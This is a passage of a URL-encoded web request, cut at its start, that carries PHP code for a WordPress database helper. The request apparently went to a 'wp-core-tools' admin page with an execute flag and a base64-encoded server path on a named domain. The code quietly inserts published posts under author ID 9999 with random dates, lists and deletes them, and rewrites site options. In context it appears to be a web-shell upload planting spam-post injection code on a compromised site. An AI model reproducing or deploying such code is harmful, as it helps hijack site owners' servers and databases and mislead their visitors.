4instance%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++return+null%3B%0D%0A++++%7D%0D%0A%0D%0A++++public+function+setDBSettings%28%24config%29+%7B%0D%0A%0D%0A++++++++%2F**+sqlite+**%2F%0D%0A++++++++if+%28%21%24config%29+%7B%0D%0A++++++++++++%24this-%3EdbName+%3D+%27main%27%3B%0D%0A++++++++++++%24this-%3EdbPrefix+%3D+%27wp_%27%3B%0D%0A++++++++%7D+else+%7B%0D%0A++++++++++++%24this-%3EdbName+%3D+%24config%5B%27dbname%27%5D%3B%0D%0A++++++++++++%24this-%3EdbUser+%3D+%24config%5B%27dbuser%27%5D%3B%0D%0A++++++++++++%24this-%3EdbPassword+%3D+%24config%5B%27dbpassword%27%5D%3B%0D%0A++++++++++++%24this-%3EdbHostAddr+%3D+%24config%5B%27dbhostaddr%27%5D%3B%0D%0A++++++++++++%24this-%3EdbPrefix+%3D+%24config%5B%27dbprefix%27%5D%3B%0D%0A++++++++++++%24this-%3EdbPort+%3D+%24config%5B%27dbport%27%5D%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++return%3B%0D%0A%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++public+function+getOption%28%24optionName%29+%7B%0D%0A%0D%0A++++++++%24tableWithPrefix+%3D+%24this-%3EdbPrefix+.+%27options%27%3B%0D%0A++++++++%24query+%3D+%22SELECT+*+from+%24tableWithPrefix+where+option_name+%3D+%3Aoption_name+%22%3B%0D%0A++++++++%24stmt+%3D+%24this-%3Edsn-%3Eprepare%28%24query%29%3B%0D%0A%0D%0A%0D%0A++++++++%24stmt-%3Eexecute%28array%28%0D%0A++++++++++++%27%3Aoption_name%27+%3D%3E+%24optionName%0D%0A++++++++%29%29%3B%0D%0A%0D%0A++++++++return+%24stmt-%3Efetch%28%29%3B%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++public+function+homeUrl%28%29+%7B%0D%0A%0D%0A++++++++%2F%2F%27home%27+or+%27siteurl%27%0D%0A++++++++%24homeOption+%3D+%24this-%3EgetOption%28%27home%27%29%3B%0D%0A%0D%0A++++++++if+%28strstr%28%24homeOption%5B%27option_value%27%5D%2C+%27http%27%29+%21%3D%3D+false%29+%7B%0D%0A++++++++++++return+%24homeOption%5B%27option_value%27%5D%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++%24siteUrlOption+%3D+%24this-%3EgetOption%28%27siteurl%27%29%3B%0D%0A++++++++if+%28strstr%28%24siteUrlOption%5B%27option_value%27%5D%2C+%27http%27%29+%21%3D%3D+false%29+%7B%0D%0A++++++++++++return+%24siteUrlOption%5B%27option_value%27%5D%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++return+false%3B%0D%0A%0D%0A++++%7D%0D%0A%0D%0A++++public+function+allPostsFromDb%28%24homeUrl%2C+%24userId+%3D+9999%29+%7B%0D%0A%0D%0A++++++++%2F%2FSELECT+ID%2C+post_title+FROM+%60wp_posts%60+where+post_author+%3D+9999%0D%0A++++++++%24table+%3D+sprintf%28%27%60%25s%60.%60%25sposts%60%27%2C+%24this-%3EdbName%2C+%24this-%3EdbPrefix%29%3B%0D%0A++++++++%24query+%3D+%22SELECT+ID%2C+post_title+FROM+%24table+where+post_author+%3D+%3Auser_id%22%3B%0D%0A%0D%0A%0D%0A++++++++%24stmt+%3D+%24this-%3Edsn-%3Eprepare%28%24query%29%3B%0D%0A%0D%0A++++++++%24stmt-%3Eexecute%28array%28%0D%0A++++++++++++%27%3Auser_id%27+%3D%3E+%24userId%0D%0A++++++++%29%29%3B%0D%0A%0D%0A++++++++%24urls+%3D+array%28%29%3B%0D%0A++++++++while+%28%24row+%3D+%24stmt-%3Efetch%28PDO%3A%3AFETCH_ASSOC%29%29+%7B%0D%0A++++++++++++if+%28%24row%29+%7B%0D%0A++++++++++++++++%24urls%5B%5D+%3D+%24homeUrl+.+%27%2F%3Fp%3D%27+.+%24row%5B%27ID%27%5D+.+%27%3B%27+.+%24row%5B%27post_title%27%5D%3B%0D%0A++++++++++++%7D%0D%0A%0D%0A++++++++%7D%0D%0A%0D%0A++++++++return+%24urls%3B%0D%0A++++%7D%0D%0A%0D%0A++++public+function+lastPostDateQuery%28%29+%7B%0D%0A++++++++%2F%2FSELECT+ID%2C+post_date+FROM+%60wp_posts%60+order+by+ID+DESC+LIMIT+1%0D%0A++++++++%24table+%3D+sprintf%28%27%60%25s%60.%60%25sposts%60%27%2C+%24this-%3EdbName%2C+%24this-%3EdbPrefix%29%3B%0D%0A++++++++%24query+%3D+%22SELECT+ID%2C+post_date+FROM+%24table+order+by+ID+DESC+LIMIT+1%22%3B%0D%0A++++++++%24stmt+%3D+%24this-%3Edsn-%3Equery%28%24query%29%3B%0D%0A%0D%0A++++++++if+%28%24stmt%29+%7B%0D%0A++++++++++++%24lastDateFetch+%3D+%24stmt-%3Efetch%28%29%3B%0D%0A++++++++++++%24date+%3D+%24lastDateFetch%5B%27post_date%27%5D%3B%0D%0A++++++++%7D+else+%7B%0D%0A++++++++++++%24date+%3D+date%28%27Y-m-d+H%3Ai%3As%27%29%3B%0D%0A++++++++%7D%0D%0A%0D%0A++++++++return+%24date%3B%0D%0A%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++public+function+insertPost%28%24title%2C+%24content%2C+%24date%2C+%24userId+%3D+%27%27%2C+%24customSlug+%3D+%27%27%29+%7B%0D%0A%0D%0A++++++++%24date+%3D+%28%24date+%3D%3D%3D+%27%27%29+%3F+randDate%28%29+%3A+%24date%3B%0D%0A++++++++%24userId+%3D+%21%24userId+%3F+1+%3A+%24userId%3B%0D%0A++++++++%24table+%3D+sprintf%28%27%60%25s%60.%60%25sposts%60%27%2C+%24this-%3EdbName%2C+%24this-%3EdbPrefix%29%3B%0D%0A%0D%0A++++++++%24query+%3D+%22INSERT+INTO+%24table+%28+%60post_author%60%2C+%60post_date%60%2C%22%0D%0A++++++++++++.+%22+%60post_date_gmt%60%2C+%60post_content%60%2C+%60post_title%60%2C+%60post_excerpt%60%2C%22%0D%0A++++++++++++.+%22+%60post_status%60%2C+%60comment_status%60%2C+%60ping_status%60%2C+%60post_password%60%2C%22%0D%0A++++++++++++.+%22+%60post_name%60%2C+%60to_ping%60%2C+%60pinged%60%2C+%60post_modified%60%2C%22%0D%0A++++++++++++.+%22+%60post_modified_gmt%60%2C+%60post_content_filtered%60%2C+%60post_parent%60%2C%22%0D%0A++++++++++++.+%22+%60guid%60%2C+%60menu_order%60%2C+%60post_type%60%2C+%60post_mime_type%60%2C%22%0D%0A++++++++++++.+%22+%60comment_count%60%29+VALUES+%28%3Auser_id%2C+%3Adate%2C+%3Adate%2C+%3Acontent%2C%22%0D%0A++++++++++++.+%22+%3Atitle%2C+%27%27%2C+%27publish%27%2C+%27closed%27%2C+%27closed%27%2C+%27%27%2C+%3Aslug%2C+%27%27%2C+%27%27%2C%22%0D%0A++++++++++++.+%22+%270000-00-00+00%3A00%3A00.000000%27%2C+%270000-00-00+00%3A00%3A00.000000%27%2C+%27%27%2C%22%0D%0A++++++++++++.+%22+%270%27%2C+%27%27%2C+%270%27%2C+%27post%27%2C+%27%27%2C+%270%27%29%3B%22%3B%0D%0A%0D%0A%0D%0A++++++++%24stmt+%3D+%24this-%3Edsn-%3Eprepare%28%24query%29%3B%0D%0A%0D%0A++++++++%24stmt-%3Eexecute%28array%28%0D%0A++++++++++++%27%3Auser_id%27+%3D%3E+%24userId%2C%0D%0A++++++++++++%27%3Adate%27+%3D%3E+%24date%2C%0D%0A++++++++++++%27%3Acontent%27+%3D%3E+%24content%2C%0D%0A++++++++++++%27%3Atitle%27+%3D%3E+%24title%2C%0D%0A++++++++++++%27%3Aslug%27+%3D%3E+urlencode%28%24customSlug%29%2C%0D%0A++++++++%29%29%3B%0D%0A%0D%0A%0D%0A++++++++return+%24this-%3Edsn-%3ElastInsertId%28%29%3B%0D%0A%0D%0A++++%7D%0D%0A%0D%0A++++public+function+viewAllAuthors%28%29+%7B%0D%0A++++++++%24table+%3D+sprintf%28%27%60%25s%60.%60%25sposts%60%27%2C+%24this-%3EdbName%2C+%24this-%3EdbPrefix%29%3B%0D%0A++++++++%24query+%3D+%22SELECT+DISTINCT+post_author+FROM+%24table%22%3B%0D%0A++++++++%24stmt+%3D+%24this-%3Edsn-%3Equery%28%24query%29%3B%0D%0A%0D%0A%0D%0A++++++++while+%28%24row+%3D+%24stmt-%3Efetch%28PDO%3A%3AFETCH_LAZY%29%29+%7B%0D%0A++++++++++++if+%28%24row%5B%27post_author%27%5D%29+%7B%0D%0A++++++++++++++++echo+%24row%5B%27post_author%27%5D+.+PHP_EOL%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++public+function+insertWpOptions%28%24optionName%2C+%24optionValue%29+%7B%0D%0A%0D%0A++++++++%24table+%3D+sprintf%28%27%60%25s%60.%60%25soptions%60%27%2C+%24this-%3EdbName%2C+%24this-%3EdbPrefix%29%3B%0D%0A++++++++%24query+%3D+%22INSERT+INTO+%24table+%28+option_name%2C+option_value%2C+autoload%29%22%0D%0A++++++++++++.+%22VALUES+%28%3Aoption_name%2C+%3Aoption_value%2C+%27yes%27%29%22%3B%0D%0A++++++++%24stmt+%3D+%24this-%3Edsn-%3Eprepare%28%24query%29%3B%0D%0A++++++++%24stmt-%3Eexecute%28array%28%0D%0A++++++++++++%27%3Aoption_name%27+%3D%3E+%24optionName%2C%0D%0A++++++++++++%27%3Aoption_value%27+%3D%3E+%24optionValue%2C%0D%0A++++++++%29%29%3B%0D%0A%0D%0A++++++++return+%24this-%3Edsn-%3ElastInsertId%28%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++public+function+updateWpOptions%28%24optionName%2C+%24optionValue%29+%7B%0D%0A%0D%0A%0D%0A++++++++%24table+%3D+sprintf%28%27%60%25s%60.%60%25soptions%60%27%2C+%24this-%3EdbName%2C+%24this-%3EdbPrefix%29%3B%0D%0A++++++++%24query+%3D+%22UPDATE+%24table+set+option_value+%3D+%3Aoption_value+where+option_name+%3D+%3Aoption_name%22%3B%0D%0A%0D%0A++++++++%24stmt+%3D+%24this-%3Edsn-%3Eprepare%28%24query%29%3B%0D%0A%0D%0A++++++++return+%24stmt-%3Eexecute%28array%28%0D%0A++++++++++++%27%3Aoption_value%27+%3D%3E+%24optionValue%2C%0D%0A++++++++++++%27%3Aoption_name%27+%3D%3E+%24optionName%2C%0D%0A++++++++%29%29%3B%0D%0A%0D%0A++++%7D%0D%0A%0D%0A++++public+function+insertOrUpdate%28%24optionName%2C+%24optionValue%29+%7B%0D%0A++++++++if+%28%24this-%3EgetOption%28%24optionName%29%29+%7B%0D%0A++++++++++++%2F%2Fecho+sprintf%28%27%25s+option+exists%2C+update%27%2C+%24optionName%29+.+PHP_EOL%3B%0D%0A++++++++++++return+%24this-%3EupdateWpOptions%28%24optionName%2C+%24optionValue%29%3B%0D%0A++++++++%7D+else+%7B%0D%0A++++++++++++%2F%2Fecho+sprintf%28%27%25s+option+no+exists%2C+insert%27%2C+%24optionName%29+.+PHP_EOL%3B%0D%0A++++++++++++return+%24this-%3EinsertWpOptions%28%24optionName%2C+%24optionValue%29%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A%0D%0A++++public+function+deleteOption%28%24optionName%29+%7B%0D%0A++++++++%24table+%3D+sprintf%28%27%60%25s%60.%60%25soptions%60%27%2C+%24this-%3EdbName%2C+%24this-%3EdbPrefix%29%3B%0D%0A++++++++%24query+%3D+%22delete+FROM+%24table+where+option_name+%3D+%3Aoption_name%22%3B%0D%0A%0D%0A++++++++%24stmt+%3D+%24this-%3Edsn-%3Eprepare%28%24query%29%3B%0D%0A%0D%0A++++++++return+%24stmt-%3Eexecute%28array%28%0D%0A++++++++++++%27%3Aoption_name%27+%3D%3E+%24optionName%2C%0D%0A++++++++%29%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++public+function+deletePosts%28%24authors%29+%7B%0D%0A++++++++%24authorsCommaSeparated+%3D+implode%28%27%2C+%27%2C+%24authors%29%3B%0D%0A%0D%0A++++++++%24table+%3D+sprintf%28%27%60%25s%60.%60%25sposts%60%27%2C+%24this-%3EdbName%2C+%24this-%3EdbPrefix%29%3B%0D%0A++++++++%24column+%3D+sprintf%28%27%60%25sposts%60.%60post_author%60%27%2C+%24this-%3EdbPrefix%29%3B%0D%0A++++++++%24query+%3D+%22delete+FROM+%24table+where+%24column+IN+%28%24authorsCommaSeparated%29%22%3B%0D%0A++++++++%24stmt+%3D+%24this-%3Edsn-%3Eprepare%28%24query%29%3B%0D%0A++++++++%24stmt-%3Eexecute%28%29%3B%0D%0A%0D%0A++++++++return+%24stmt-%3ErowCount%28%29%3B%0D%0A++++%7D%0D%0A%0D%0A%7D&_wpnonce=4596873626&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dwp-core-tools&maps_execute=&dir=L3Zhci93d3cvdmhvc3RzL21pcm9nbHUubmV0L3N1YmRvbWFpbnMvc2VyaGF0YnVya2Uv